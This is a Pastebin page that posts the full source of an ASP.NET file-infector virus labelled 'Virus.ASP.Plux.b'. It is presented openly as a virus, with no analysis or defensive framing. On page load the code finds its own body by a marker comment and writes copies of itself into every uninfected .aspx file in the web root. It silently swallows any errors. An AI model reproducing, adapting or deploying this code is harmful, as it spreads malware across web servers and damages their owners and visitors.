Advertisement
FlyFar

Virus.ASP.Plux.b - Source Code

Jun 26th, 2023
1,609
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 2.52 KB | Cybersecurity | 0 0
  1. <html>
  2. <head>
  3.   <!-- LUX -->
  4.   <script language="VB" runat="server">
  5.   Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs)
  6.      Try
  7.       Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot")
  8.       Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx")
  9.       Dim fri As System.IO.FileInfo
  10.       Dim line, file_cont As String
  11.       Dim i,IsInf,rnd_num,place_c,place As Integer
  12.       Dim VirCode As String = ""
  13.       Dim placesarr(235) As Integer
  14.       rnd_num=0
  15.       place_c=0
  16.       For Each fri In fiArr
  17.         Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name)
  18.         Do
  19.           line = file_pointer.ReadLine()
  20.           file_cont=file_cont+line+Chr(13)+Chr(10)
  21.         Loop Until line Is Nothing
  22.         file_pointer.Close()
  23.         For i=0 to file_cont.Length-12
  24.           If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 2494)
  25.         Next
  26.         rnd_num=rnd_num+fri.Length
  27.       Next
  28.       For Each fri In fiArr
  29.         IsInf=0
  30.         file_cont=""
  31.         Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name)
  32.         Do
  33.           line = file_pointer.ReadLine()
  34.           file_cont=file_cont+line+Chr(13)+Chr(10)
  35.         Loop Until line Is Nothing
  36.         file_pointer.Close()
  37.         For i=0 to file_cont.Length-12
  38.           If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1
  39.         Next
  40.         If IsInf <> 1 Then
  41.           For i=0 to file_cont.Length-10
  42.             If file_cont.Substring(i,1)=">" Then
  43.               place_c=place_c+1
  44.               placesarr(place_c)=i+2
  45.             End If
  46.             If i+7 <= file_cont.Length Then
  47.               If file_cont.Substring(i,7)="<script" Then
  48.                 Dim found_script As Integer=0
  49.                 While found_script=0
  50.                   i=i+1
  51.                   If file_cont.Substring(i,9)="</"+"script>" Then found_script=1
  52.                 End While
  53.               End If
  54.             End If
  55.           Next
  56.           Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name)
  57.           place=placesarr(rnd_num Mod place_c)
  58.           file_pointerW.WriteLine(file_cont.Substring(0,place-1)+VirCode+file_cont.Substring(place-1,file_cont.Length-place-1))
  59.           file_pointerW.Close()
  60.           i=file_cont.Length
  61.         End If
  62.       Next
  63.       ausgabe.InnerHtml=place
  64.      Catch ex As Exception
  65.      End Try
  66.   End Sub
  67.   </script>
  68. </head>
  69. <body>
  70. <p id="ausgabe" runat="server"></p>
  71. </body>
  72. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement